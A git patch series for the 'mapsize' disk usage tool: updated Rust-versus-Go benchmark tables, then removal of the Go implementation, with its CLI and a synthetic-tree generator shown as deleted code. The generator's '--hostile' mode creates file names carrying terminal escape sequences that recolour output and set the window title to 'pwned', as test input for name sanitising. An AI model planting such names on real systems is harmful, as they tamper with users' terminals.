From 7e3be19a2b8b3bceb00d3655141eae04b50b5aa7 Mon Sep 17 00:00:00 2001 From: Andy Dixon Date: Thu, 8 Oct 2026 19:11:55 +0100 Subject: [PATCH 01/12] rust: re-run benchmarks on a quieter host --- rust/README.md | 68 ++++++++++++++++++++++++-------------------------- 1 file changed, 33 insertions(+), 35 deletions(-) diff --git a/rust/README.md b/rust/README.md index bb0b780..445800a 100644 --- a/rust/README.md +++ b/rust/README.md @@ -33,12 +33,11 @@ canvas renderer is ported as-is, plus line-diffed frame output). ## Benchmarks Machine: Intel Core i7-7700 (4C/8T), 32 GiB, ext4 on md RAID over 7200 rpm -HDDs. Go 1.27.1, Rust 1.91.1 (`lto`, `codegen-units = 1`). The host was -shared and heavily loaded during the runs (load average 30–50 on 8 threads), -so absolute times are inflated 2–4× compared with PERFORMANCE.md. To keep the -comparison fair, Go and Rust runs were interleaved and the tables report -best-of (micro) or median and best (end-to-end). Re-run on an idle machine -before quoting absolute numbers: +HDDs. Go 1.27.1, Rust 1.91.1 (`lto`, `codegen-units = 1`). The host is +shared, and its load average was 5–9 on 8 threads during the runs. Go's +absolute times are close to those in PERFORMANCE.md. Go and Rust runs were +interleaved; the tables report best-of (micro) or median and best +(end-to-end). To re-run: ``` go test -c -o /tmp/tui.test ./internal/tui && go test -c -o /tmp/treemap.test ./internal/treemap @@ -53,43 +52,42 @@ The tree is 1,008,201 synthetic nodes, rendered at 200×60. | benchmark | Go | Rust | speed-up | |---|---:|---:|---:| -| treemap/Squarify(300) | 299.3 µs | 22.2 µs | 13.48× | -| treemap/Neighbour(300) | 5.0 µs | 2.8 µs | 1.76× | -| tui/BigColdFrame | 86.88 ms | 29.32 ms | 2.96× | -| tui/BigResize | 7.15 ms | 4.76 ms | 1.50× | -| tui/BigFlatDirCold | 86.33 ms | 22.90 ms | 3.77× | -| tui/BigNavigate | 4.85 ms | 4.07 ms | 1.19× | -| tui/BigFilter/size > 1MB | 78.62 ms | 59.51 ms | 1.32× | -| tui/BigFilter/*.dat AND size > 500k | 302.03 ms | 154.90 ms | 1.95× | -| tui/BigFilter/path contains sub3 | 337.79 ms | 136.85 ms | 2.47× | +| treemap/Squarify(300) | 84.3 µs | 8.4 µs | 10.07× | +| treemap/Neighbour(300) | 2.1 µs | 1.1 µs | 1.94× | +| tui/BigColdFrame | 36.01 ms | 11.34 ms | 3.18× | +| tui/BigResize | 2.02 ms | 1.50 ms | 1.35× | +| tui/BigFlatDirCold | 32.00 ms | 9.37 ms | 3.41× | +| tui/BigNavigate | 1.50 ms | 1.31 ms | 1.14× | +| tui/BigFilter/size > 1MB | 29.44 ms | 26.75 ms | 1.10× | +| tui/BigFilter/*.dat AND size > 500k | 121.40 ms | 67.84 ms | 1.79× | +| tui/BigFilter/path contains sub3 | 101.86 ms | 63.80 ms | 1.60× | ### End to end (`~/go/pkg/mod`: 388k files + 65k dirs, warm cache) | scenario | Go median | Rust median | Go best | Rust best | Go RSS | Rust RSS | speed-up | |---|---:|---:|---:|---:|---:|---:|---:| -| scan, 1 workers | 4.68 s | 5.51 s | 4.34 s | 4.86 s | 114 MB | 75 MB | 0.85× | -| scan, 8 workers | 2.03 s | 2.03 s | 1.61 s | 1.42 s | 113 MB | 78 MB | 1.00× | -| scan, 32 workers | 3.09 s | 2.59 s | 2.85 s | 2.07 s | 116 MB | 89 MB | 1.19× | -| scan + save snapshot | 4.69 s | 3.60 s | 4.02 s | 3.29 s | 117 MB | 80 MB | 1.30× | -| load own snapshot | 1.20 s | 0.71 s | 0.71 s | 0.48 s | 85 MB | 78 MB | 1.69× | -| load Go snapshot | 1.03 s | 1.14 s | 0.84 s | 0.48 s | 85 MB | 78 MB | 0.90× | -| scan + JSON export | 6.10 s | 4.74 s | 5.44 s | 4.16 s | 152 MB | 79 MB | 1.29× | -| scan + top 50 largest files | 4.49 s | 4.31 s | 3.62 s | 3.65 s | 117 MB | 79 MB | 1.04× | +| scan, 1 workers | 1.89 s | 1.52 s | 1.72 s | 1.44 s | 112 MB | 75 MB | 1.24× | +| scan, 8 workers | 0.63 s | 0.47 s | 0.58 s | 0.43 s | 117 MB | 76 MB | 1.34× | +| scan, 32 workers | 0.60 s | 0.46 s | 0.48 s | 0.43 s | 118 MB | 80 MB | 1.30× | +| scan + save snapshot | 1.22 s | 0.75 s | 1.13 s | 0.71 s | 119 MB | 77 MB | 1.63× | +| load own snapshot | 0.34 s | 0.23 s | 0.30 s | 0.23 s | 85 MB | 78 MB | 1.48× | +| load Go snapshot | 0.36 s | 0.26 s | 0.30 s | 0.23 s | 85 MB | 78 MB | 1.38× | +| scan + JSON export | 1.27 s | 0.86 s | 1.04 s | 0.68 s | 153 MB | 76 MB | 1.48× | +| scan + top 50 largest files | 0.70 s | 0.60 s | 0.64 s | 0.47 s | 114 MB | 76 MB | 1.17× | Reading the numbers: -* **Scanning** is syscall-bound (`statx`/`getdents` were about 60% of Go's - profile), so wall time is roughly at parity. Rust edges ahead at high - worker counts. The single-worker case is about 15% slower, but that run was - the noisiest of the set. -* **Memory**: peak RSS is 30–48% lower (78 MB vs 113 MB while scanning - 458k nodes). The JSON export streams without Go's per-node allocations - (79 MB vs 152 MB). -* **Snapshots**: loading is about 1.7× faster on the median. The two binaries - load each other's files. -* **UI**: cold frames are 3–3.8× faster, and squarified layout is about 13× - faster. Navigation and resize gain less (1.2–1.5×) because they mostly +* **Scanning** is 1.2–1.3× faster at every worker count. It is syscall-bound + (`statx`/`getdents`), so the gain comes from lower per-entry overhead in the + controller (no GC, no per-chunk allocation churn), not from faster I/O. +* **Memory**: peak RSS is about a third lower (76 MB vs 117 MB while + scanning 458k nodes). The JSON export halves memory (76 MB vs 153 MB) because + it streams without per-node allocations. +* **Snapshots**: scan + save is 1.6× faster and load is 1.4–1.5× faster. The + two binaries load each other's files. +* **UI**: cold frames are 3.2–3.4× faster, and squarified layout is about 10× + faster. Navigation and resize gain less (1.1–1.35×) because they mostly reuse cached layout. -* **Filters**: 1.3–2.5× faster. This required caching lower-cased directory +* **Filters**: 1.1–1.8× faster. This required caching lower-cased directory paths in a `Vec` with reused buffers, and a `*.ext` fast path in the `filepath.Match` port. -- 2.53.0 From 507f635b49493e5d81e1782c8346aee3a3fdb3e5 Mon Sep 17 00:00:00 2001 From: Andy Dixon Date: Thu, 8 Oct 2026 19:51:33 +0100 Subject: [PATCH 02/12] Make the Rust implementation the only one: crate at the root, Go tree removed --- .gitignore | 6 +- rust/Cargo.lock => Cargo.lock | 0 rust/Cargo.toml => Cargo.toml | 0 rust/README.md => RUST-PORT-NOTES.md | 0 cmd/mapsize/main.go | 200 -------- cmd/treegen/main.go | 130 ----- {rust/examples => examples}/bench.rs | 0 go.mod | 25 - go.sum | 32 -- internal/app/app.go | 171 ------- internal/app/app_test.go | 105 ---- internal/app/modes.go | 80 --- internal/brand/brand.go | 11 - internal/config/config.go | 72 --- internal/duplicate/duplicate.go | 286 ----------- internal/duplicate/duplicate_test.go | 61 --- internal/duplicate/fifo_unix_test.go | 51 -- internal/export/export.go | 221 --------- internal/export/export_test.go | 74 --- internal/filter/apply.go | 78 --- internal/filter/eval.go | 176 ------- internal/filter/filter_test.go | 122 ----- internal/filter/lexer.go | 103 ---- internal/filter/parser.go | 382 --------------- internal/inventory/category.go | 117 ----- internal/inventory/query.go | 176 ------- internal/inventory/query_test.go | 42 -- internal/inventory/stats.go | 106 ---- internal/inventory/tree.go | 338 ------------- internal/platform/delete_unix.go | 35 -- internal/platform/mode_unix.go | 36 -- internal/platform/open_other.go | 8 - internal/platform/open_unix.go | 15 - internal/platform/ops.go | 40 -- internal/platform/ops_darwin.go | 81 --- internal/platform/ops_linux.go | 132 ----- internal/platform/ops_linux_test.go | 155 ------ internal/platform/ops_other.go | 24 - internal/platform/ops_windows.go | 78 --- internal/platform/platform.go | 151 ------ internal/platform/readdir_bsd.go | 82 ---- internal/platform/readdir_linux.go | 138 ------ internal/platform/readdir_other.go | 31 -- internal/platform/sys_nowindows.go | 7 - internal/platform/sys_windows.go | 12 - internal/platform/trash_unix.go | 59 --- internal/scan/mem_test.go | 35 -- internal/scan/panic.go | 14 - internal/scan/scan.go | 542 --------------------- internal/scan/scan_test.go | 288 ----------- internal/snapshot/compare.go | 177 ------- internal/snapshot/hostile_test.go | 160 ------ internal/snapshot/snapshot.go | 528 -------------------- internal/snapshot/snapshot_test.go | 139 ------ internal/textutil/text.go | 160 ------ internal/textutil/text_test.go | 74 --- internal/textutil/units.go | 125 ----- internal/treemap/nav.go | 106 ---- internal/treemap/treemap.go | 189 ------- internal/treemap/treemap_test.go | 247 ---------- internal/tui/actions.go | 276 ----------- internal/tui/bench_test.go | 114 ----- internal/tui/canvas.go | 324 ------------ internal/tui/color256.go | 96 ---- internal/tui/data.go | 199 -------- internal/tui/infoview.go | 163 ------- internal/tui/keys.go | 268 ---------- internal/tui/live_test.go | 71 --- internal/tui/mapview.go | 391 --------------- internal/tui/modal.go | 221 --------- internal/tui/modals.go | 391 --------------- internal/tui/model.go | 447 ----------------- internal/tui/mouse.go | 110 ----- internal/tui/nest_test.go | 89 ---- internal/tui/render.go | 422 ---------------- internal/tui/run.go | 72 --- internal/tui/search.go | 260 ---------- internal/tui/side.go | 118 ----- internal/tui/table.go | 222 --------- internal/tui/theme.go | 165 ------- internal/tui/tui_test.go | 499 ------------------- internal/tui/views.go | 457 ----------------- rust/.gitignore | 1 - rust/bench/compare.py | 49 -- rust/bench/micro.py | 45 -- {rust/src => src}/app.rs | 0 {rust/src => src}/brand.rs | 0 {rust/src => src}/cancel.rs | 0 {rust/src => src}/config.rs | 0 {rust/src => src}/duplicate.rs | 0 {rust/src => src}/export.rs | 0 {rust/src => src}/filter/apply.rs | 0 {rust/src => src}/filter/eval.rs | 0 {rust/src => src}/filter/lexer.rs | 0 {rust/src => src}/filter/mod.rs | 0 {rust/src => src}/filter/parser.rs | 0 {rust/src => src}/inventory/category.rs | 0 {rust/src => src}/inventory/mod.rs | 0 {rust/src => src}/inventory/query.rs | 0 {rust/src => src}/inventory/stats.rs | 0 {rust/src => src}/lib.rs | 0 {rust/src => src}/main.rs | 0 {rust/src => src}/platform.rs | 0 {rust/src => src}/scan.rs | 0 {rust/src => src}/snapshot/compare.rs | 0 {rust/src => src}/snapshot/mod.rs | 0 {rust/src => src}/snapshot/testdata/go.msz | Bin {rust/src => src}/textutil.rs | 0 {rust/src => src}/treemap/mod.rs | 0 {rust/src => src}/treemap/nav.rs | 0 {rust/src => src}/tui/actions.rs | 0 {rust/src => src}/tui/bench.rs | 0 {rust/src => src}/tui/canvas.rs | 0 {rust/src => src}/tui/color256.rs | 0 {rust/src => src}/tui/data.rs | 0 {rust/src => src}/tui/infoview.rs | 0 {rust/src => src}/tui/keys.rs | 0 {rust/src => src}/tui/mapview.rs | 0 {rust/src => src}/tui/mod.rs | 0 {rust/src => src}/tui/modal.rs | 0 {rust/src => src}/tui/modals.rs | 0 {rust/src => src}/tui/model.rs | 0 {rust/src => src}/tui/mouse.rs | 0 {rust/src => src}/tui/render.rs | 0 {rust/src => src}/tui/run.rs | 0 {rust/src => src}/tui/search.rs | 0 {rust/src => src}/tui/side.rs | 0 {rust/src => src}/tui/table.rs | 0 {rust/src => src}/tui/tests.rs | 0 {rust/src => src}/tui/theme.rs | 0 {rust/src => src}/tui/views.rs | 0 131 files changed, 3 insertions(+), 12500 deletions(-) rename rust/Cargo.lock => Cargo.lock (100%) rename rust/Cargo.toml => Cargo.toml (100%) rename rust/README.md => RUST-PORT-NOTES.md (100%) delete mode 100644 cmd/mapsize/main.go delete mode 100644 cmd/treegen/main.go rename {rust/examples => examples}/bench.rs (100%) delete mode 100644 go.mod delete mode 100644 go.sum delete mode 100644 internal/app/app.go delete mode 100644 internal/app/app_test.go delete mode 100644 internal/app/modes.go delete mode 100644 internal/brand/brand.go delete mode 100644 internal/config/config.go delete mode 100644 internal/duplicate/duplicate.go delete mode 100644 internal/duplicate/duplicate_test.go delete mode 100644 internal/duplicate/fifo_unix_test.go delete mode 100644 internal/export/export.go delete mode 100644 internal/export/export_test.go delete mode 100644 internal/filter/apply.go delete mode 100644 internal/filter/eval.go delete mode 100644 internal/filter/filter_test.go delete mode 100644 internal/filter/lexer.go delete mode 100644 internal/filter/parser.go delete mode 100644 internal/inventory/category.go delete mode 100644 internal/inventory/query.go delete mode 100644 internal/inventory/query_test.go delete mode 100644 internal/inventory/stats.go delete mode 100644 internal/inventory/tree.go delete mode 100644 internal/platform/delete_unix.go delete mode 100644 internal/platform/mode_unix.go delete mode 100644 internal/platform/open_other.go delete mode 100644 internal/platform/open_unix.go delete mode 100644 internal/platform/ops.go delete mode 100644 internal/platform/ops_darwin.go delete mode 100644 internal/platform/ops_linux.go delete mode 100644 internal/platform/ops_linux_test.go delete mode 100644 internal/platform/ops_other.go delete mode 100644 internal/platform/ops_windows.go delete mode 100644 internal/platform/platform.go delete mode 100644 internal/platform/readdir_bsd.go delete mode 100644 internal/platform/readdir_linux.go delete mode 100644 internal/platform/readdir_other.go delete mode 100644 internal/platform/sys_nowindows.go delete mode 100644 internal/platform/sys_windows.go delete mode 100644 internal/platform/trash_unix.go delete mode 100644 internal/scan/mem_test.go delete mode 100644 internal/scan/panic.go delete mode 100644 internal/scan/scan.go delete mode 100644 internal/scan/scan_test.go delete mode 100644 internal/snapshot/compare.go delete mode 100644 internal/snapshot/hostile_test.go delete mode 100644 internal/snapshot/snapshot.go delete mode 100644 internal/snapshot/snapshot_test.go delete mode 100644 internal/textutil/text.go delete mode 100644 internal/textutil/text_test.go delete mode 100644 internal/textutil/units.go delete mode 100644 internal/treemap/nav.go delete mode 100644 internal/treemap/treemap.go delete mode 100644 internal/treemap/treemap_test.go delete mode 100644 internal/tui/actions.go delete mode 100644 internal/tui/bench_test.go delete mode 100644 internal/tui/canvas.go delete mode 100644 internal/tui/color256.go delete mode 100644 internal/tui/data.go delete mode 100644 internal/tui/infoview.go delete mode 100644 internal/tui/keys.go delete mode 100644 internal/tui/live_test.go delete mode 100644 internal/tui/mapview.go delete mode 100644 internal/tui/modal.go delete mode 100644 internal/tui/modals.go delete mode 100644 internal/tui/model.go delete mode 100644 internal/tui/mouse.go delete mode 100644 internal/tui/nest_test.go delete mode 100644 internal/tui/render.go delete mode 100644 internal/tui/run.go delete mode 100644 internal/tui/search.go delete mode 100644 internal/tui/side.go delete mode 100644 internal/tui/table.go delete mode 100644 internal/tui/theme.go delete mode 100644 internal/tui/tui_test.go delete mode 100644 internal/tui/views.go delete mode 100644 rust/.gitignore delete mode 100755 rust/bench/compare.py delete mode 100755 rust/bench/micro.py rename {rust/src => src}/app.rs (100%) rename {rust/src => src}/brand.rs (100%) rename {rust/src => src}/cancel.rs (100%) rename {rust/src => src}/config.rs (100%) rename {rust/src => src}/duplicate.rs (100%) rename {rust/src => src}/export.rs (100%) rename {rust/src => src}/filter/apply.rs (100%) rename {rust/src => src}/filter/eval.rs (100%) rename {rust/src => src}/filter/lexer.rs (100%) rename {rust/src => src}/filter/mod.rs (100%) rename {rust/src => src}/filter/parser.rs (100%) rename {rust/src => src}/inventory/category.rs (100%) rename {rust/src => src}/inventory/mod.rs (100%) rename {rust/src => src}/inventory/query.rs (100%) rename {rust/src => src}/inventory/stats.rs (100%) rename {rust/src => src}/lib.rs (100%) rename {rust/src => src}/main.rs (100%) rename {rust/src => src}/platform.rs (100%) rename {rust/src => src}/scan.rs (100%) rename {rust/src => src}/snapshot/compare.rs (100%) rename {rust/src => src}/snapshot/mod.rs (100%) rename {rust/src => src}/snapshot/testdata/go.msz (100%) rename {rust/src => src}/textutil.rs (100%) rename {rust/src => src}/treemap/mod.rs (100%) rename {rust/src => src}/treemap/nav.rs (100%) rename {rust/src => src}/tui/actions.rs (100%) rename {rust/src => src}/tui/bench.rs (100%) rename {rust/src => src}/tui/canvas.rs (100%) rename {rust/src => src}/tui/color256.rs (100%) rename {rust/src => src}/tui/data.rs (100%) rename {rust/src => src}/tui/infoview.rs (100%) rename {rust/src => src}/tui/keys.rs (100%) rename {rust/src => src}/tui/mapview.rs (100%) rename {rust/src => src}/tui/mod.rs (100%) rename {rust/src => src}/tui/modal.rs (100%) rename {rust/src => src}/tui/modals.rs (100%) rename {rust/src => src}/tui/model.rs (100%) rename {rust/src => src}/tui/mouse.rs (100%) rename {rust/src => src}/tui/render.rs (100%) rename {rust/src => src}/tui/run.rs (100%) rename {rust/src => src}/tui/search.rs (100%) rename {rust/src => src}/tui/side.rs (100%) rename {rust/src => src}/tui/table.rs (100%) rename {rust/src => src}/tui/tests.rs (100%) rename {rust/src => src}/tui/theme.rs (100%) rename {rust/src => src}/tui/views.rs (100%) diff --git a/.gitignore b/.gitignore index aae86f8..fc8bd07 100644 --- a/.gitignore +++ b/.gitignore @@ -1,5 +1,5 @@ +/target +/dist bin/ *.msz -*.prof -*.test -/mapsize +!src/snapshot/testdata/*.msz diff --git a/rust/Cargo.lock b/Cargo.lock similarity index 100% rename from rust/Cargo.lock rename to Cargo.lock diff --git a/rust/Cargo.toml b/Cargo.toml similarity index 100% rename from rust/Cargo.toml rename to Cargo.toml diff --git a/rust/README.md b/RUST-PORT-NOTES.md similarity index 100% rename from rust/README.md rename to RUST-PORT-NOTES.md diff --git a/cmd/mapsize/main.go b/cmd/mapsize/main.go deleted file mode 100644 index c4b8cdc..0000000 --- a/cmd/mapsize/main.go +++ /dev/null @@ -1,200 +0,0 @@ -// Command mapsize is an interactive terminal disk usage analyser. -package main - -import ( - "flag" - "fmt" - "io" - "log/slog" - "os" - "runtime" - "runtime/pprof" - "strings" - - "github.com/andydixon/mapsize/internal/app" - "github.com/andydixon/mapsize/internal/brand" - "github.com/andydixon/mapsize/internal/config" - "github.com/andydixon/mapsize/internal/inventory" - "github.com/andydixon/mapsize/internal/scan" - "github.com/andydixon/mapsize/internal/snapshot" - "github.com/andydixon/mapsize/internal/textutil" -) - -type multiFlag []string - -func (m *multiFlag) String() string { return strings.Join(*m, ",") } -func (m *multiFlag) Set(s string) error { *m = append(*m, s); return nil } - -func main() { - os.Exit(run(os.Args[1:])) -} - -func run(args []string) int { - settings, cfgErr := config.Load() - fs := flag.NewFlagSet(brand.Name, flag.ContinueOnError) - fs.Usage = func() { usage(fs) } - var ( - excludes multiFlag - workers = fs.String("workers", settings.Workers, "concurrency: conservative, balanced, aggressive or a number") - follow = fs.String("follow-symlinks", settings.FollowSymlinks, "none, same-filesystem or all") - oneFS = fs.Bool("one-file-system", settings.OneFileSystem, "do not cross filesystem boundaries") - oneFSx = fs.Bool("x", false, "short for --one-file-system") - readOnly = fs.Bool("read-only", false, "disable all modifying actions") - noUI = fs.Bool("no-ui", false, "scan without the interactive interface and print a summary") - jsonOut = fs.Bool("json", false, "print the inventory as JSON") - csvOut = fs.Bool("csv", false, "print the inventory as CSV") - depth = fs.Int("depth", -1, "maximum depth for --json/--csv (-1 = unlimited)") - top = fs.Int("top", 0, "print the N largest entries of the root") - largest = fs.Int("largest-files", 0, "print the N largest files") - dups = fs.Bool("duplicates", false, "find duplicate files (non-interactive)") - save = fs.String("save", "", "save a snapshot to `FILE` after scanning") - snap = fs.String("snapshot", "", "alias for --save") - load = fs.String("load", "", "open a saved snapshot `FILE` instead of scanning") - scanPath = fs.String("scan", "", "path to scan (alternative to a positional argument)") - compare = fs.Bool("compare", false, "compare two snapshots: --compare OLD NEW") - si = fs.Bool("si", settings.Units == "si", "use SI units (kB, MB) instead of IEC (KiB, MiB)") - logical = fs.Bool("apparent", settings.SizeMode == "logical", "size by logical (apparent) size instead of disk usage") - theme = fs.String("theme", settings.Theme, "colour theme: default, dark, high-contrast, mono") - colorMode = fs.String("color", "auto", "colour support: auto, truecolor, 256, 16, none") - noMouse = fs.Bool("no-mouse", !settings.Mouse, "disable mouse support") - logFile = fs.String("log", "", "write a debug log to `FILE`") - logLevel = fs.String("log-level", "info", "log level: error, warn, info, debug, trace") - cpuProfile = fs.String("cpuprofile", "", "write a CPU profile to `FILE`") - memProfile = fs.String("memprofile", "", "write a heap profile to `FILE` on exit") - version = fs.Bool("version", false, "print version and exit") - ) - fs.Var(&excludes, "exclude", "exclude `PATTERN` (glob on name, or path prefix if it contains a separator); repeatable") - - var positional []string - for { - if err := fs.Parse(args); err != nil { - if err == flag.ErrHelp { - return 0 - } - return 2 - } - args = fs.Args() - if len(args) == 0 { - break - } - positional = append(positional, args[0]) - args = args[1:] - } - if *version { - fmt.Printf("%s %s (%s/%s)\n", brand.Name, brand.Version, runtime.GOOS, runtime.GOARCH) - return 0 - } - if cfgErr != nil { - fmt.Fprintf(os.Stderr, "%s: warning: config: %v (using defaults)\n", brand.Name, cfgErr) - } - textutil.SI = *si - - if *logFile != "" { - closeLog, err := setupLog(*logFile, *logLevel) - if err != nil { - fmt.Fprintf(os.Stderr, "%s: %v\n", brand.Name, err) - return 2 - } - defer closeLog() - } else { - slog.SetDefault(slog.New(slog.NewTextHandler(io.Discard, nil))) - } - if *cpuProfile != "" { - f, err := os.Create(*cpuProfile) - if err == nil { - pprof.StartCPUProfile(f) - defer pprof.StopCPUProfile() - } - } - if *memProfile != "" { - defer func() { - if f, err := os.Create(*memProfile); err == nil { - runtime.GC() - pprof.WriteHeapProfile(f) - f.Close() - } - }() - } - - cfg := &app.Config{ - NoUI: *noUI, JSON: *jsonOut, CSV: *csvOut, Depth: *depth, Top: *top, LargestFiles: *largest, - Duplicates: *dups, ReadOnly: *readOnly, Theme: *theme, Mouse: !*noMouse, Color: *colorMode, Load: *load, - Settings: settings, - } - if *logical { - cfg.SizeMode = inventory.SizeLogical - } - cfg.Save = *save - if cfg.Save == "" { - cfg.Save = *snap - } - if *scanPath != "" { - positional = append([]string{*scanPath}, positional...) - } - if *compare { - if len(positional) != 2 { - fmt.Fprintf(os.Stderr, "%s: --compare needs exactly two snapshot files\n", brand.Name) - return 2 - } - cfg.Compare = [2]string{positional[0], positional[1]} - } else { - if len(positional) > 1 { - fmt.Fprintf(os.Stderr, "%s: only one path may be scanned at a time\n", brand.Name) - return 2 - } - if len(positional) == 1 && cfg.Load == "" && snapshot.IsSnapshot(positional[0]) { - cfg.Load = positional[0] - } else { - cfg.Paths = positional - } - } - - w, err := scan.Workers(*workers) - if err != nil { - fmt.Fprintf(os.Stderr, "%s: %v\n", brand.Name, err) - return 2 - } - fm, err := scan.ParseFollow(*follow) - if err != nil { - fmt.Fprintf(os.Stderr, "%s: %v\n", brand.Name, err) - return 2 - } - cfg.ScanOpts = scan.Options{Workers: w, Follow: fm, OneFileSystem: *oneFS || *oneFSx, - Excludes: append(append([]string(nil), settings.Excludes...), excludes...)} - - if err := app.Run(cfg); err != nil { - fmt.Fprintf(os.Stderr, "%s: %v\n", brand.Name, textutil.Sanitize(err.Error())) - return 1 - } - return 0 -} - -func setupLog(path, level string) (func(), error) { - lv := map[string]slog.Level{"error": slog.LevelError, "warn": slog.LevelWarn, "info": slog.LevelInfo, - "debug": slog.LevelDebug, "trace": slog.LevelDebug - 4} - l, ok := lv[level] - if !ok { - return nil, fmt.Errorf("invalid --log-level %q", level) - } - f, err := os.OpenFile(path, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0o600) - if err != nil { - return nil, err - } - slog.SetDefault(slog.New(slog.NewTextHandler(f, &slog.HandlerOptions{Level: l}))) - return func() { f.Close() }, nil -} - -func usage(fs *flag.FlagSet) { - w := fs.Output() - fmt.Fprintf(w, `%[1]s — interactive terminal disk usage analyser - -Usage: - %[1]s [flags] [PATH] scan PATH (default .) interactively - %[1]s [flags] SNAPSHOT%[2]s open a saved snapshot - %[1]s --compare OLD NEW compare two snapshots - %[1]s PATH --top 50 | --json | --csv | --no-ui --save FILE - -Flags: -`, brand.Name, brand.SnapshotExt) - fs.PrintDefaults() -} diff --git a/cmd/treegen/main.go b/cmd/treegen/main.go deleted file mode 100644 index c33b4cd..0000000 --- a/cmd/treegen/main.go +++ /dev/null @@ -1,130 +0,0 @@ -// Command treegen creates synthetic directory trees for testing and -// benchmarking mapsize. -package main - -import ( - "flag" - "fmt" - "math" - "math/rand" - "os" - "path/filepath" - "time" -) - -func main() { - var ( - out = flag.String("out", "", "output directory (required, must not exist or be empty)") - dirs = flag.Int("directories", 1000, "number of directories") - files = flag.Int("files", 10000, "number of files") - depth = flag.Int("max-depth", 8, "maximum directory depth") - sparse = flag.Bool("sparse", false, "make some large files sparse") - unicode = flag.Bool("unicode", false, "use Unicode and unusual (but safe) names") - hostile = flag.Bool("hostile", false, "include names with control characters/escape sequences (Unix only)") - maxSize = flag.Int64("max-size", 1<<20, "largest regular file in bytes (sizes are log-uniform; content is written)") - seed = flag.Int64("seed", 1, "random seed (deterministic output)") - hotspots = flag.Int("hotspots", 3, "directories that receive a large share of files") - ) - flag.Parse() - if *out == "" { - flag.Usage() - os.Exit(2) - } - if err := os.MkdirAll(*out, 0o755); err != nil { - fatal(err) - } - if ents, _ := os.ReadDir(*out); len(ents) > 0 { - fatal(fmt.Errorf("%s is not empty", *out)) - } - r := rand.New(rand.NewSource(*seed)) - start := time.Now() - - type dir struct { - path string - depth int - } - all := []dir{{*out, 0}} - byDepth := [][]int{{0}} - for len(all) < *dirs+1 { - // Pick a depth first, then a directory at that depth, so the tree is - // broad near the top instead of one giant preferential-attachment chain. - lv := byDepth[r.Intn(len(byDepth))] - p := all[lv[r.Intn(len(lv))]] - if p.depth >= *depth { - continue - } - d := dir{filepath.Join(p.path, name(r, len(all), *unicode, *hostile)), p.depth + 1} - if err := os.Mkdir(d.path, 0o755); err != nil { - continue // name collision; try again - } - all = append(all, d) - if d.depth == len(byDepth) { - byDepth = append(byDepth, nil) - } - byDepth[d.depth] = append(byDepth[d.depth], len(all)-1) - } - hot := make([]int, *hotspots) - for i := range hot { - hot[i] = r.Intn(len(all)) - } - var bytes int64 - buf := make([]byte, *maxSize) - for i := range buf { - buf[i] = byte(r.Intn(256)) // incompressible, so allocation is real everywhere - } - for i := 0; i < *files; i++ { - var d dir - if len(hot) > 0 && r.Intn(3) == 0 { - d = all[hot[r.Intn(len(hot))]] - } else { - d = all[r.Intn(len(all))] - } - p := filepath.Join(d.path, name(r, i, *unicode, *hostile)+ext(r)) - // Log-uniform sizes: many tiny files, a few large ones. - size := int64(math.Exp(r.Float64() * math.Log(float64(*maxSize)))) - if r.Intn(20) == 0 { - size = 0 - } - f, err := os.OpenFile(p, os.O_CREATE|os.O_EXCL|os.O_WRONLY, 0o644) - if err != nil { - continue - } - if *sparse && r.Intn(200) == 0 { - // Sparse: a large logical size with almost nothing allocated. - f.Truncate(int64(1+r.Intn(8)) << 30) - f.WriteAt([]byte("x"), 0) - } else if size > 0 { - if _, err := f.Write(buf[:size]); err != nil { - fatal(err) - } - bytes += size - } - f.Close() - if i%100000 == 0 && i > 0 { - fmt.Fprintf(os.Stderr, "%d files…\n", i) - } - } - fmt.Fprintf(os.Stderr, "created %d directories, %d files (%d logical bytes) in %s\n", - len(all)-1, *files, bytes, time.Since(start).Round(time.Millisecond)) -} - -var words = []string{"data", "cache", "backup", "photos", "src", "build", "logs", "tmp", "vm", "media", "docs", "lib", "node_modules", "archive"} -var exts = []string{".txt", ".log", ".jpg", ".png", ".mp4", ".iso", ".qcow2", ".go", ".c", ".pdf", ".zip", ".tar.gz", ".db", ".so", "", ".json", ".mkv", ".flac"} -var uni = []string{"日本語", "Ünïcödé", "emoji 🎉", "Ελληνικά", "кириллица", "space name", "quote'name", "dash-name"} - -func name(r *rand.Rand, i int, unicode, hostile bool) string { - switch { - case hostile && r.Intn(50) == 0: - return fmt.Sprintf("evil\x1b[31m%d\x1b]0;pwned\x07", i) - case unicode && r.Intn(5) == 0: - return fmt.Sprintf("%s-%d", uni[r.Intn(len(uni))], i) - } - return fmt.Sprintf("%s-%d", words[r.Intn(len(words))], i) -} - -func ext(r *rand.Rand) string { return exts[r.Intn(len(exts))] } - -func fatal(err error) { - fmt.Fprintln(os.Stderr, "treegen:", err) - os.Exit(1) -} diff --git a/rust/examples/bench.rs b/examples/bench.rs similarity index 100% rename from rust/examples/bench.rs rename to examples/bench.rs diff --git a/go.mod b/go.mod deleted file mode 100644 index c788942..0000000 --- a/go.mod +++ /dev/null @@ -1,25 +0,0 @@ -module github.com/andydixon/mapsize - -go 1.26.0 - -require ( - github.com/rivo/uniseg v0.4.7 - golang.org/x/sys v0.48.0 -) - -require ( - charm.land/bubbletea/v2 v2.0.10 // indirect - github.com/charmbracelet/colorprofile v0.4.3 // indirect - github.com/charmbracelet/ultraviolet v0.0.0-20260703014108-f5a850f9c2b7 // indirect - github.com/charmbracelet/x/ansi v0.11.8 // indirect - github.com/charmbracelet/x/term v0.2.2 // indirect - github.com/charmbracelet/x/termios v0.1.1 // indirect - github.com/charmbracelet/x/windows v0.2.2 // indirect - github.com/clipperhouse/displaywidth v0.11.0 // indirect - github.com/clipperhouse/uax29/v2 v2.7.0 // indirect - github.com/lucasb-eyer/go-colorful v1.4.0 // indirect - github.com/mattn/go-runewidth v0.0.24 // indirect - github.com/muesli/cancelreader v0.2.2 // indirect - github.com/xo/terminfo v0.0.0-20220910002029-abceb7e1c41e // indirect - golang.org/x/sync v0.21.0 // indirect -) diff --git a/go.sum b/go.sum deleted file mode 100644 index 1b9a097..0000000 --- a/go.sum +++ /dev/null @@ -1,32 +0,0 @@ -charm.land/bubbletea/v2 v2.0.10 h1:oolvo20VBpI0PfqE7iFjkZ1bx0WpmXGfnKz5Yldjq5o= -charm.land/bubbletea/v2 v2.0.10/go.mod h1:QOatcnhOjYIfxzUSTz6raF7Ex4R/rIuHa3SnBdCCpMc= -github.com/charmbracelet/colorprofile v0.4.3 h1:QPa1IWkYI+AOB+fE+mg/5/4HRMZcaXex9t5KX76i20Q= 